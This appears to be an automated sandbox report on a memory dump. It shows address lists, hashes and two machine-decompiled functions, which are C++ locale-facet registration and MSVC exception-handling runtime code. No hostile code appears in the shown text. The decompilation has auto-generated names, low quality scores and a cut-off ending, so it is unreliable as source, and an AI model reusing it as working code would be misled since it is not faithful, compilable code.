0x6ed50111
0x6ed5010d
0x6ed500f5
0x6ed500cd
0x6ed500c9
0x6ed500b1
0x6ed50087
0x6ed5007f
0x6ed50133
0x6ed50139
0x6ed5013b
0x6ed501ae
0x6ed501ae
0x6ed501b2
0x6ed501c2
0x6ed501c8
0x6ed501ca
0x6ed50226
0x6ed50226
0x6ed5022e
0x6ed5022f
0x6ed50231
0x6ed5024a
0x6ed5024d
0x6ed5018a
0x6ed5018b
0x00000000
0x6ed50190
0x6ed50253
0x00000000
0x6ed50253
0x6ed50238
0x6ed50243
0x00000000
0x6ed50243
0x6ed501cc
0x6ed501cf
0x6ed501d2
0x00000000
0x00000000
0x6ed501d4
0x6ed501d4
0x6ed501d7
0x6ed501da
0x6ed501dd
0x6ed501e4
0x6ed501e9
0x6ed501eb
0x6ed501ef
0x6ed5020a
0x6ed5020e
0x6ed5020f
0x6ed50212
0x6ed50213
0x6ed5021f
0x6ed50215
0x6ed50215
0x6ed50215
0x6ed501f1
0x6ed501f1
0x6ed501f1
0x6ed501fc
0x6ed50201
0x6ed50204
0x6ed50204
0x00000000
0x6ed501e9
0x6ed50140
0x6ed50143
0x6ed5014a
0x6ed5014f
0x00000000
0x00000000
0x6ed50155
0x6ed50158
0x6ed5015e
0x6ed50160
0x00000000
0x00000000
0x6ed50162
0x6ed50166
0x00000000
0x00000000
0x6ed5017a
0x6ed50180
0x6ed50182
0x6ed501a6
0x6ed501a9
0x00000000
0x6ed501a9
0x6ed50184
0x00000000
0x6ed50012
0x6ed50017
0x6ed50022
0x6ed50191
0x6ed50191
0x6ed50191
0x6ed50194
0x6ed50195
0x00000000
0x6ed5019d
0x6ed50010
0x6ed4ffdf
0x6ed4ff8a
0x6ed4ff8d
0x6ed4ffa1
0x6ed4ffa3
0x6ed4ffc4
0x6ed4ffc7
0x6ed4ffca
0x6ed4ffcd
0x00000000
0x6ed4ffcd
0x00000000
0x6ed4ff8f
0x6ed4ff8f
0x6ed4ff92
0x6ed4ff95
0x00000000
0x6ed4ff95
0x6ed4ff8d
0x6ed4ff42
0x6ed4ff47
0x6ed4ff4f
0x00000000
0x6ed4fedf
0x6ed4fee4
0x6ed4fee7
0x6ed4feec
0x6ed50276
0x00000000
0x6ed50276

Strings

, xrefs: 6ED50155

Memory Dump Source

Source File: 00000002.00000002.649982903.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000002.00000002.649977994.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650011484.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650033275.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.650037893.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID: 0-3907804496
Opcode ID: 1c262fd5913347c6aea54e68d1205b855663f5ad4e1f197e77c82f9cae7ec9e6
Instruction ID: 743bc173a041c29feb62930661d783829e1a730e9ebc9dedd04c3080c8b5129a
Opcode Fuzzy Hash: 1c262fd5913347c6aea54e68d1205b855663f5ad4e1f197e77c82f9cae7ec9e6
Instruction Fuzzy Hash: F4C1FE70A0464ADFEF41CFD9C890BADBBB8AF4A358F004959E854AB381D730D952CB71

Uniqueness

Uniqueness Score: -1.00%

Function 6ED24FC0, Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 175
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E6ED24FC0(void* __ebx, intOrPtr __edx, void* __edi, intOrPtr* _a4, intOrPtr _a12) {
				intOrPtr _v0;
				intOrPtr _v4;
				signed int _v8;
				signed int _v12;
				char _v16;
				signed int _v20;
				intOrPtr* _v24;
				void* _v28;
				char _v32;
				signed int _v36;
				char _v88;
				char _v132;
				intOrPtr _v172;
				char _v176;
				signed int _v180;
				intOrPtr _v196;
				intOrPtr _v200;
				intOrPtr _v204;
				void* __esi;
				signed int _t93;
				signed int _t94;
				signed int _t97;
				signed int _t101;
				signed int _t103;
				signed int _t110;
				intOrPtr _t119;
				int _t124;
				signed int _t128;
				unsigned int _t130;
				void* _t131;
				signed int _t148;
				signed int _t150;
				intOrPtr _t152;
				short _t153;
				char _t155;
				char _t156;
				void* _t160;
				signed int _t165;
				signed int _t166;
				void* _t167;
				signed int _t168;
				intOrPtr _t172;
				signed int _t179;
				signed int _t180;
				intOrPtr _t182;
				signed int _t189;
				void* _t191;
				intOrPtr _t197;
				intOrPtr _t198;
				intOrPtr _t199;
				signed int _t201;
				void* _t202;
				unsigned int _t203;
				signed int _t204;
				intOrPtr* _t209;
				intOrPtr* _t210;
				void* _t211;
				signed int _t212;
				signed int _t213;
				signed int _t217;
				intOrPtr _t220;
				signed int _t223;
				void* _t225;
				signed int _t232;
				void* _t233;
				void* _t235;
				void* _t236;
				void* _t237;
				void* _t246;

				_t196 = __edx;
				_t167 = __ebx;
				_t223 = _t232;
				_push(0xffffffff);
				_push(E6ED584BD);
				_push( *[fs:0x0]);
				_t233 = _t232 - 0xa0;
				_t93 =  *0x6ed6d008; // 0x3f169fae
				_t94 = _t93 ^ _t223;
				_v20 = _t94;
				_push(__edi);
				_push(_t94);
				 *[fs:0x0] =  &_v16;
				_t209 = _a4;
				_v24 = _t209;
				_v36 = 0;
				E6ED3514F( &_v32, 0);
				_v8 = 0;
				_t201 =  *0x6ed6f3c0; // 0x3
				_t97 =  *0x6ed6f368; // 0x2fb9240
				_v36 = _t97;
				if(_t201 == 0) {
					E6ED3514F( &_v28, _t201);
					_t246 =  *0x6ed6f3c0 - _t201; // 0x3
					if(_t246 == 0) {
						_t165 =  *0x6ed6e968; // 0x3
						_t166 = _t165 + 1;
						 *0x6ed6e968 = _t166;
						 *0x6ed6f3c0 = _t166;
					}
					E6ED351A7( &_v28);
					_t201 =  *0x6ed6f3c0; // 0x3
				}
				_t172 =  *((intOrPtr*)(_t209 + 4));
				if(_t201 >=  *((intOrPtr*)(_t172 + 0xc))) {
					_t210 = 0;
					__eflags = 0;
					goto L8;
				} else {
					_t210 =  *((intOrPtr*)( *((intOrPtr*)(_t172 + 8)) + _t201 * 4));
					if(_t210 != 0) {
						L22:
						E6ED351A7( &_v32);
						 *[fs:0x0] = _v16;
						_pop(_t202);
						_pop(_t211);
						return E6ED34160(_t210, _t167, _v20 ^ _t223, _t196, _t202, _t211);
					} else {
						L8:
						if( *((char*)(_t172 + 0x14)) == 0) {
							L11:
							if(_t210 != 0) {
								goto L22;
							} else {
								goto L12;
							}
						} else {
							_t160 = E6ED3548C();
							if(_t201 >=  *((intOrPtr*)(_t160 + 0xc))) {
								L12:
								_t101 = _v36;
								if(_t101 == 0) {
									_t210 = E6ED3419F(_t196, __eflags, 0x18);
									_t235 = _t233 + 4;
									_v28 = _t210;
									_v8 = 1;
									asm("xorps xmm0, xmm0");
									asm("movups [esi], xmm0");
									asm("movq [esi+0x10], xmm0");
									_t179 =  *(_v24 + 4);
									__eflags = _t179;
									if(_t179 == 0) {
										_t103 = 0x6ed65829;
									} else {
										_t103 =  *(_t179 + 0x18);
										__eflags = _t103;
										if(_t103 == 0) {
											_t103 = _t179 + 0x1c;
										}
									}
									_t180 =  &_v88;
									E6ED22070(_t103);
									_v36 = 1;
									 *(_t210 + 4) = 0;
									_v8 = 3;
									 *_t210 = 0x6ed5b224;
									E6ED3D645(_t196);
									E6ED35810(__eflags,  &_v132);
									 *(_t210 + 8) = 0;
									 *(_t210 + 0x10) = 0;
									 *(_t210 + 0x14) = 0;
									_v24 = _t210;
									_v8 = 4;
									E6ED35810(__eflags,  &_v176);
									_push(1);
									_push(1);
									_t110 = E6ED3D66F();
									_t236 = _t235 + 0x10;
									__eflags = _t110;
									if(__eflags == 0) {
										E6ED34C69(_t196, __eflags);
										goto L24;
									} else {
										_push(1);
										_push(6);
										 *_t110 = 0;
										 *(_t210 + 8) = _t110;
										_t180 = E6ED3D66F();
										_t236 = _t236 + 8;
										__eflags = _t180;
										if(__eflags == 0) {
											L24:
											E6ED34C69(_t196, __eflags);
											goto L25;
										} else {
											_t152 =  *((intOrPtr*)("false")); // 0x736c6166
											 *_t180 = _t152;
											_t153 =  *0x6ed65898; // 0x65
											_push(1);
											_push(5);
											 *((short*)(_t180 + 4)) = _t153;
											 *(_t210 + 0x10) = _t180;
											_t180 = E6ED3D66F();
											_t236 = _t236 + 8;
											__eflags = _t180;
											if(__eflags == 0) {
												L25:
												E6ED34C69(_t196, __eflags);
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												_push(_t223);
												_t225 = _t236;
												_t237 = _t236 - 0x10;
												_push(_t167);
												_t168 = _t180;
												_v204 = _v172;
												_push(_t210);
												_t197 =  *((intOrPtr*)(_t168 + 0x10));
												_t212 = _v180;
												_v196 = _t197;
												_push(_t201);
												__eflags = 0x7fffffff - _t197 - _t212;
												if(0x7fffffff - _t197 < _t212) {
													E6ED21A70(0x7fffffff);
													goto L46;
												} else {
													_t203 =  *(_t168 + 0x14);
													_t128 = _t197 + _t212;
													_v12 = _t128;
													_t217 = _t128 | 0x0000000f;
													_v20 = _t203;
													__eflags = _t217 - 0x7fffffff;
													if(__eflags <= 0) {
														_t130 = _t203 >> 1;
														__eflags = _t203 - 0x7fffffff - _t130;
														if(__eflags <= 0) {
															_t131 = _t130 + _t203;
															__eflags = _t217 - _t131;
															_t212 =  <  ? _t131 : _t217;
															__eflags = _t212;
														} else {
															_t212 = 0x7fffffff;
														}
													} else {
														_t212 = 0x7fffffff;
													}
													_t189 =  ~(0 | __eflags > 0x00000000) | _t212 + 0x00000001;
													__eflags = _t189 - 0x1000;
													if(_t189 < 0x1000) {
														__eflags = _t189;
														if(__eflags == 0) {
															_t204 = 0;
															__eflags = 0;
														} else {
															_t148 = E6ED3419F(_t197, __eflags, _t189);
															_t197 = _v16;
															_t237 = _t237 + 4;
															_t204 = _t148;
														}
														goto L39;
													} else {
														_t64 = _t189 + 0x23; // 0x23
														_t149 = _t64;
														__eflags = _t64 - _t189;
														if(__eflags <= 0) {
															L46:
															E6ED219A0();
															goto L47;
														} else {
															_t150 = E6ED3419F(_t197, __eflags, _t149);
															_t237 = _t237 + 4;
															__eflags = _t150;
															if(_t150 == 0) {
																L47:
																L54();
																asm("int3");
																asm("int3");
																asm("int3");
																_push(_t225);
																_t182 = _v200;
																_t119 = _v204;
																__eflags = _t182 - 0x1000;
																if(_t182 < 0x1000) {
																	L51:
																	_v0 = _t182;
																	_v4 = _t119;
																	_pop(_t227);
																	return L6ED341DD(_v204);
																} else {
																	_t198 =  *((intOrPtr*)(_t119 - 4));
																	_t182 = _t182 + 0x23;
																	__eflags = _t119 - _t198 + 0xfffffffc - 0x1f;
																	if(__eflags > 0) {
																		_push(_t212);
																		_t213 = _t212 ^ _t212;
																		E6ED3D580(_t182, _t213, __eflags, _t213, _t213, _t213, _t213, _t213);
																		_push(_t213);
																		_push(_t213);
																		_push(_t213);
																		_push(_t213);
																		_push(_t213);
																		L55();
																		asm("int3");
																		_t124 = IsProcessorFeaturePresent(0x17);
																		__eflags = _t124;
																		if(_t124 != 0) {
																			_push(5);
																			asm("int 0x29");
																		}
																		_push(_t213);
																		E6ED3D436(_t168, _t198, 0xc0000417, 2, 0xc0000417, 1);
																		return TerminateProcess(GetCurrentProcess(), 0xc0000417);
																	} else {
																		_t119 = _t198;
																		goto L51;
																	}
																}
															} else {
																_t197 = _v16;
																_t66 = _t150 + 0x23; // 0x23
																_t204 = _t66 & 0xffffffe0;
																 *(_t204 - 4) = _t150;
																L39:
																 *((intOrPtr*)(_t168 + 0x10)) = _v12;
																 *(_t168 + 0x14) = _t212;
																_t218 = _t204 + _t197;
																__eflags = _v20 - 0x10;
																_v12 = _a12 + _t204 + _t197;
																_push(_t197);
																if(_v20 < 0x10) {
																	_push(_t168);
																	_push(_t204);
																	E6ED385C0();
																	E6ED385C0(_t218, _v24, _a12);
																	 *_v12 = 0;
																	 *_t168 = _t204;
																	return _t168;
																} else {
																	_t220 =  *_t168;
																	_push(_t220);
																	_push(_t204);
																	E6ED385C0();
																	E6ED385C0(_v16 + _t204, _v24, _a12);
																	_t237 = _t237 + 0x18;
																	_t191 = _v20 + 1;
																	 *_v12 = 0;
																	__eflags = _t191 - 0x1000;
																	if(_t191 < 0x1000) {
																		L43:
																		_push(_t191);
																		_push(_t220);
																		L53();
																		 *_t168 = _t204;
																		return _t168;
																	} else {
																		_t199 =  *((intOrPtr*)(_t220 - 4));
																		_t191 = _t191 + 0x23;
																		_t212 = _t220 - _t199;
																		_t82 = _t212 - 4; // 0x7ffffffb
																		__eflags = _t82 - 0x1f;
																		if(_t82 > 0x1f) {
																			goto L47;
																		} else {
																			_t220 = _t199;
																			goto L43;
																		}
																	}
																}
															}
														}
													}
												}
											} else {
												_t155 = "true"; // 0x65757274
												 *_t180 = _t155;
												_t156 =  *0x6ed658a0; // 0x0
												 *((char*)(_t180 + 4)) = _t156;
												 *(_t210 + 0x14) = _t180;
												 *((short*)(_t210 + 0xc)) = 0x2c2e;
												_v8 = 0;
												E6ED22120( &_v88);
												_v24 = _t210;
												_v8 = 6;
												E6ED35460(__eflags, _t210);
												_t196 =  *_t210;
												 *((intOrPtr*)( *_t210 + 4))();
												 *0x6ed6f368 = _t210;
												goto L22;
											}
										}
									}
								} else {
									_t210 = _t101;
									goto L22;
								}
							} else {
								_t210 =  *((intOrPtr*)( *((intOrPtr*)(_t160 + 8)) + _t201 * 4));
								goto L11;
							}
						}
					}
				}
			}

0x6ed24fc0
0x6ed24fc0
0x6ed24fc1
0x6ed24fc3
0x6ed24fc5
0x6ed24fd0
0x6ed24fd1
0x6ed24fd7
0x6ed24fdc
0x6ed24fde
0x6ed24fe2
0x6ed24fe3
0x6ed24fe7
0x6ed24fed
0x6ed24ff5
0x6ed24ff8
0x6ed24fff
0x6ed25004
0x6ed2500b
0x6ed25011
0x6ed25016
0x6ed2501b
0x6ed25021
0x6ed25026
0x6ed2502c
0x6ed2502e
0x6ed25033
0x6ed25034
0x6ed25039
0x6ed25039
0x6ed25041
0x6ed25046
0x6ed25046
0x6ed2504c
0x6ed25052
0x6ed25064
0x6ed25064
0x00000000
0x6ed25054
0x6ed25057
0x6ed2505c
0x6ed251bf
0x6ed251c2
0x6ed251cc
0x6ed251d4
0x6ed251d5
0x6ed251e3
0x6ed25062
0x6ed25066
0x6ed2506a
0x6ed2507c
0x6ed2507e
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed2506c
0x6ed2506c
0x6ed25074
0x6ed25084
0x6ed25084
0x6ed25089
0x6ed25099
0x6ed2509b
0x6ed2509e
0x6ed250a1
0x6ed250a5
0x6ed250ab
0x6ed250ae
0x6ed250b3
0x6ed250b6
0x6ed250b8
0x6ed250c6
0x6ed250ba
0x6ed250ba
0x6ed250bd
0x6ed250bf
0x6ed250c1
0x6ed250c1
0x6ed250bf
0x6ed250cc
0x6ed250cf
0x6ed250d4
0x6ed250db
0x6ed250e2
0x6ed250e9
0x6ed250ef
0x6ed250f8
0x6ed250fd
0x6ed25104
0x6ed2510b
0x6ed25112
0x6ed2511b
0x6ed25120
0x6ed25125
0x6ed25127
0x6ed25129
0x6ed2512e
0x6ed25131
0x6ed25133
0x6ed251e4
0x00000000
0x6ed25139
0x6ed25139
0x6ed2513b
0x6ed2513d
0x6ed25140
0x6ed25148
0x6ed2514a
0x6ed2514d
0x6ed2514f
0x6ed251e9
0x6ed251e9
0x00000000
0x6ed25155
0x6ed25155
0x6ed2515a
0x6ed2515c
0x6ed25162
0x6ed25164
0x6ed25166
0x6ed2516a
0x6ed25172
0x6ed25174
0x6ed25177
0x6ed25179
0x6ed251ee
0x6ed251ee
0x6ed251f3
0x6ed251f4
0x6ed251f5
0x6ed251f6
0x6ed251f7
0x6ed251f8
0x6ed251f9
0x6ed251fa
0x6ed251fb
0x6ed251fc
0x6ed251fd
0x6ed251fe
0x6ed251ff
0x6ed25200
0x6ed25201
0x6ed25203
0x6ed25209
0x6ed2520a
0x6ed2520c
0x6ed25216
0x6ed25217
0x6ed2521c
0x6ed2521f
0x6ed25222
0x6ed25223
0x6ed25225
0x6ed2534e
0x00000000
0x6ed2522b
0x6ed2522b
0x6ed2522e
0x6ed25233
0x6ed25236
0x6ed25239
0x6ed2523c
0x6ed2523e
0x6ed25246
0x6ed2524a
0x6ed2524c
0x6ed25255
0x6ed25257
0x6ed25259
0x6ed25259
0x6ed2524e
0x6ed2524e
0x6ed2524e
0x6ed25240
0x6ed25240
0x6ed25240
0x6ed25268
0x6ed2526a
0x6ed25270
0x6ed2529c
0x6ed2529e
0x6ed252b0
0x6ed252b0
0x6ed252a0
0x6ed252a1
0x6ed252a6
0x6ed252a9
0x6ed252ac
0x6ed252ac
0x00000000
0x6ed25272
0x6ed25272
0x6ed25272
0x6ed25275
0x6ed25277
0x6ed25353
0x6ed25353
0x00000000
0x6ed2527d
0x6ed2527e
0x6ed25283
0x6ed25286
0x6ed25288
0x6ed25358
0x6ed25358
0x6ed2535d
0x6ed2535e
0x6ed2535f
0x6ed25360
0x6ed25363
0x6ed25366
0x6ed25369
0x6ed2536f
0x6ed25383
0x6ed25383
0x6ed25386
0x6ed25389
0x6ed3417b
0x6ed25371
0x6ed25371
0x6ed25374
0x6ed2537c
0x6ed2537f
0x6ed3d5f6
0x6ed3d5f7
0x6ed3d5fe
0x6ed3d606
0x6ed3d607
0x6ed3d608
0x6ed3d609
0x6ed3d60a
0x6ed3d60b
0x6ed3d610
0x6ed3d613
0x6ed3d619
0x6ed3d61b
0x6ed3d61d
0x6ed3d620
0x6ed3d620
0x6ed3d622
0x6ed3d62d
0x6ed3d644
0x6ed25381
0x6ed25381
0x00000000
0x6ed25381
0x6ed2537f
0x6ed2528e
0x6ed2528e
0x6ed25291
0x6ed25294
0x6ed25297
0x6ed252b2
0x6ed252b5
0x6ed252bb
0x6ed252be
0x6ed252c3
0x6ed252c7
0x6ed252ca
0x6ed252cb
0x6ed25325
0x6ed25326
0x6ed25327
0x6ed25333
0x6ed2533e
0x6ed25343
0x6ed2534b
0x6ed252cd
0x6ed252cd
0x6ed252cf
0x6ed252d0
0x6ed252d1
0x6ed252e2
0x6ed252ea
0x6ed252f0
0x6ed252f1
0x6ed252f4
0x6ed252fa
0x6ed2530e
0x6ed2530e
0x6ed2530f
0x6ed25310
0x6ed25318
0x6ed25322
0x6ed252fc
0x6ed252fc
0x6ed252ff
0x6ed25302
0x6ed25304
0x6ed25307
0x6ed2530a
0x00000000
0x6ed2530c
0x6ed2530c
0x00000000
0x6ed2530c
0x6ed2530a
0x6ed252fa
0x6ed252cb
0x6ed25288
0x6ed25277
0x6ed25270
0x6ed2517b
0x6ed2517b
0x6ed25180
0x6ed25182
0x6ed25187
0x6ed2518a
0x6ed2518d
0x6ed25196
0x6ed2519d
0x6ed251a2
0x6ed251a6
0x6ed251aa
0x6ed251af
0x6ed251b6
0x6ed251b9
0x00000000
0x6ed251b9
0x6ed25179
0x6ed2514f
0x6ed2508b
0x6ed2508b
0x00000000
0x6ed2508b
0x6ed25076
0x6ed25079
0x00000000
0x6ed25079
0x6ed25074
0x6ed2506a
0x6ed2505c

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 6ED24FFF
std::_Lockit::_Lockit.LIBCPMT ref: 6ED25021
std::_Lockit::~_Lockit.LIBCPMT ref: 6ED25041
std::_Facet_Register.LIBCPMT ref: 6ED251AA
std::_Lockit::~_Lockit.LIBCPMT ref: 6ED251C2
Concurrency::cancel_current_task.LIBCPMT ref: 6ED251E4
Concurrency::cancel_current_task.LIBCPMT ref: 6ED251E9
Concurrency::cancel_current_task.LIBCPMT ref: 6ED251EE

Strings

false, xrefs: 6ED25155
true, xrefs: 6ED2517B

Memory Dump Source

Source File: 00000002.00000002.649982903.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000002.00000002.649977994.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650011484.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650033275.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.650037893.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Lockit$Concurrency::cancel_current_task$Lockit::_Lockit::~_$Facet_Register
String ID: false$true
API String ID: 3742692055-2658103896
Opcode ID: 933890e149fa4d908ac8dd5b0d3ba55af59a37e213795ad14dba6bb4c3f4ed20
Instruction ID: 3bcea9de56101b60fd1789d1a0bae9a0eb1af5816d1ffa77c4490e109b18c061
Opcode Fuzzy Hash: 933890e149fa4d908ac8dd5b0d3ba55af59a37e213795ad14dba6bb4c3f4ed20
Instruction Fuzzy Hash: 4361DF70900715CFEB11CFE4C940BAEBBB5EF06708F20496DD905AB385DB76AA45CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6ED39E3A, Relevance: 16.1, APIs: 6, Strings: 3, Instructions: 304
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E6ED39E3A(signed int __edx, signed char* _a4, signed int _a8, signed int _a12, char _a16, signed int* _a20, signed int _a24, signed int _a28, signed int _a32) {
				signed char* _v0;
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				intOrPtr _v24;
				char _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				intOrPtr _v48;
				signed int _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				void _v64;
				signed int _v68;
				char _v84;
				intOrPtr _v88;
				signed int _v92;
				intOrPtr _v100;
				void _v104;
				intOrPtr* _v112;
				signed char* _v184;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t202;
				signed int _t203;
				char _t204;
				signed int _t206;
				signed int _t208;
				signed char* _t209;
				signed int _t210;
				signed int _t211;
				signed int _t215;
				void* _t218;
				signed char* _t221;
				void* _t223;
				void* _t225;
				signed char _t229;
				signed int _t230;
				void* _t232;
				void* _t235;
				void* _t238;
				signed char _t245;
				signed int _t250;
				void* _t253;
				signed int* _t255;
				signed int _t256;
				intOrPtr _t257;
				signed int _t258;
				void* _t263;
				void* _t268;
				void* _t269;
				signed int _t273;
				signed char* _t274;
				intOrPtr* _t275;
				signed char _t276;
				signed int _t277;
				signed int _t278;
				intOrPtr* _t280;
				signed int _t281;
				signed int _t282;
				signed int _t287;
				signed int _t294;
				signed int _t295;
				signed int _t298;
				signed int _t300;
				signed char* _t301;
				signed int _t302;
				signed int _t303;
				signed int* _t305;
				signed char* _t308;
				signed int _t318;
				signed int _t319;
				signed int _t321;
				signed int _t330;
				void* _t332;
				void* _t334;
				void* _t335;
				void* _t336;
				void* _t337;

				_t300 = __edx;
				_push(_t319);
				_t305 = _a20;
				_v20 = 0;
				_v28 = 0;
				_t279 = E6ED3ADAD(_a8, _a16, _t305);
				_t335 = _t334 + 0xc;
				_v12 = _t279;
				if(_t279 < 0xffffffff || _t279 >= _t305[1]) {
					L66:
					_t202 = E6ED47AD9(_t274, _t279, _t300, _t305, _t319);
					asm("int3");
					_t332 = _t335;
					_t336 = _t335 - 0x38;
					_push(_t274);
					_t275 = _v112;
					__eflags =  *_t275 - 0x80000003;
					if( *_t275 == 0x80000003) {
						return _t202;
					} else {
						_t203 = E6ED39ABE(_t275, _t279, _t300, _t305, _t319, _t305, _t319);
						__eflags =  *(_t203 + 8);
						if( *(_t203 + 8) != 0) {
							__imp__EncodePointer(0);
							_t319 = _t203;
							_t223 = E6ED39ABE(_t275, _t279, _t300, 0, _t319);
							__eflags =  *((intOrPtr*)(_t223 + 8)) - _t319;
							if( *((intOrPtr*)(_t223 + 8)) != _t319) {
								__eflags =  *_t275 - 0xe0434f4d;
								if( *_t275 != 0xe0434f4d) {
									__eflags =  *_t275 - 0xe0434352;
									if( *_t275 != 0xe0434352) {
										_t215 = E6ED379E2(_t300, 0, _t319, _t275, _a4, _a8, _a12, _a16, _a24, _a28);
										_t336 = _t336 + 0x1c;
										__eflags = _t215;
										if(_t215 != 0) {
											L83:
											return _t215;
										}
									}
								}
							}
						}
						_t204 = _a16;
						_v28 = _t204;
						_v24 = 0;
						__eflags =  *(_t204 + 0xc);
						if( *(_t204 + 0xc) > 0) {
							_push(_a24);
							E6ED37915(_t275, _t279, 0, _t319,  &_v44,  &_v28, _a20, _a12, _t204);
							_t302 = _v40;
							_t337 = _t336 + 0x18;
							_t215 = _v44;
							_v20 = _t215;
							_v12 = _t302;
							__eflags = _t302 - _v32;
							if(_t302 >= _v32) {
								goto L83;
							}
							_t281 = _t302 * 0x14;
							__eflags = _t281;
							_v16 = _t281;
							do {
								_t282 = 5;
								_t218 = memcpy( &_v64,  *((intOrPtr*)( *_t215 + 0x10)) + _t281, _t282 << 2);
								_t337 = _t337 + 0xc;
								__eflags = _v64 - _t218;
								if(_v64 > _t218) {
									goto L82;
								}
								__eflags = _t218 - _v60;
								if(_t218 > _v60) {
									goto L82;
								}
								_t221 = _v48 + 0xfffffff0 + (_v52 << 4);
								_t287 = _t221[4];
								__eflags = _t287;
								if(_t287 == 0) {
									L80:
									__eflags =  *_t221 & 0x00000040;
									if(( *_t221 & 0x00000040) == 0) {
										_push(0);
										_push(1);
										E6ED39DBA(_t302, _t275, _a4, _a8, _a12, _a16, _t221, 0,  &_v64, _a24, _a28);
										_t302 = _v12;
										_t337 = _t337 + 0x30;
									}
									goto L82;
								}
								__eflags =  *((char*)(_t287 + 8));
								if( *((char*)(_t287 + 8)) != 0) {
									goto L82;
								}
								goto L80;
								L82:
								_t302 = _t302 + 1;
								_t215 = _v20;
								_t281 = _v16 + 0x14;
								_v12 = _t302;
								_v16 = _t281;
								__eflags = _t302 - _v32;
							} while (_t302 < _v32);
							goto L83;
						}
						E6ED47AD9(_t275, _t279, _t300, 0, _t319);
						asm("int3");
						_push(_t332);
						_t301 = _v184;
						_push(_t275);
						_push(_t319);
						_push(0);
						_t206 = _t301[4];
						__eflags = _t206;
						if(_t206 == 0) {
							L108:
							_t208 = 1;
							__eflags = 1;
						} else {
							_t280 = _t206 + 8;
							__eflags =  *_t280;
							if( *_t280 == 0) {
								goto L108;
							} else {
								__eflags =  *_t301 & 0x00000080;
								_t308 = _v0;
								if(( *_t301 & 0x00000080) == 0) {
									L90:
									_t276 = _t308[4];
									_t321 = 0;
									__eflags = _t206 - _t276;
									if(_t206 == _t276) {
										L100:
										__eflags =  *_t308 & 0x00000002;
										if(( *_t308 & 0x00000002) == 0) {
											L102:
											_t209 = _a4;
											__eflags =  *_t209 & 0x00000001;
											if(( *_t209 & 0x00000001) == 0) {
												L104:
												__eflags =  *_t209 & 0x00000002;
												if(( *_t209 & 0x00000002) == 0) {
													L106:
													_t321 = 1;
													__eflags = 1;
												} else {
													__eflags =  *_t301 & 0x00000002;
													if(( *_t301 & 0x00000002) != 0) {
														goto L106;
													}
												}
											} else {
												__eflags =  *_t301 & 0x00000001;
												if(( *_t301 & 0x00000001) != 0) {
													goto L104;
												}
											}
										} else {
											__eflags =  *_t301 & 0x00000008;
											if(( *_t301 & 0x00000008) != 0) {
												goto L102;
											}
										}
										_t208 = _t321;
									} else {
										_t185 = _t276 + 8; // 0x6e
										_t210 = _t185;
										while(1) {
											_t277 =  *_t280;
											__eflags = _t277 -  *_t210;
											if(_t277 !=  *_t210) {
												break;
											}
											__eflags = _t277;
											if(_t277 == 0) {
												L96:
												_t211 = _t321;
											} else {
												_t278 =  *((intOrPtr*)(_t280 + 1));
												__eflags = _t278 -  *((intOrPtr*)(_t210 + 1));
												if(_t278 !=  *((intOrPtr*)(_t210 + 1))) {
													break;
												} else {
													_t280 = _t280 + 2;
													_t210 = _t210 + 2;
													__eflags = _t278;
													if(_t278 != 0) {
														continue;
													} else {
														goto L96;
													}
												}
											}
											L98:
											__eflags = _t211;
											if(_t211 == 0) {
												goto L100;
											} else {
												_t208 = 0;
											}
											goto L109;
										}
										asm("sbb eax, eax");
										_t211 = _t210 | 0x00000001;
										__eflags = _t211;
										goto L98;
									}
								} else {
									__eflags =  *_t308 & 0x00000010;
									if(( *_t308 & 0x00000010) != 0) {
										goto L108;
									} else {
										goto L90;
									}
								}
							}
						}
						L109:
						return _t208;
					}
				} else {
					_t274 = _a4;
					if( *_t274 != 0xe06d7363 || _t274[0x10] != 3 || _t274[0x14] != 0x19930520 && _t274[0x14] != 0x19930521 && _t274[0x14] != 0x19930522) {
						L22:
						_t300 = _a12;
						_v8 = _t300;
						goto L24;
					} else {
						_t319 = 0;
						if(_t274[0x1c] != 0) {
							goto L22;
						} else {
							_t225 = E6ED39ABE(_t274, _t279, _t300, _t305, 0);
							if( *((intOrPtr*)(_t225 + 0x10)) == 0) {
								L60:
								return _t225;
							} else {
								_t274 =  *(E6ED39ABE(_t274, _t279, _t300, _t305, 0) + 0x10);
								_t263 = E6ED39ABE(_t274, _t279, _t300, _t305, 0);
								_v28 = 1;
								_v8 =  *((intOrPtr*)(_t263 + 0x14));
								if(_t274 == 0 ||  *_t274 == 0xe06d7363 && _t274[0x10] == 3 && (_t274[0x14] == 0x19930520 || _t274[0x14] == 0x19930521 || _t274[0x14] == 0x19930522) && _t274[0x1c] == _t319) {
									goto L66;
								} else {
									if( *((intOrPtr*)(E6ED39ABE(_t274, _t279, _t300, _t305, _t319) + 0x1c)) == _t319) {
										L23:
										_t300 = _v8;
										_t279 = _v12;
										L24:
										_v52 = _t305;
										_v48 = 0;
										__eflags =  *_t274 - 0xe06d7363;
										if( *_t274 != 0xe06d7363) {
											L56:
											__eflags = _t305[3];
											if(_t305[3] <= 0) {
												goto L59;
											} else {
												__eflags = _a24;
												if(_a24 != 0) {
													goto L66;
												} else {
													_push(_a32);
													_push(_a28);
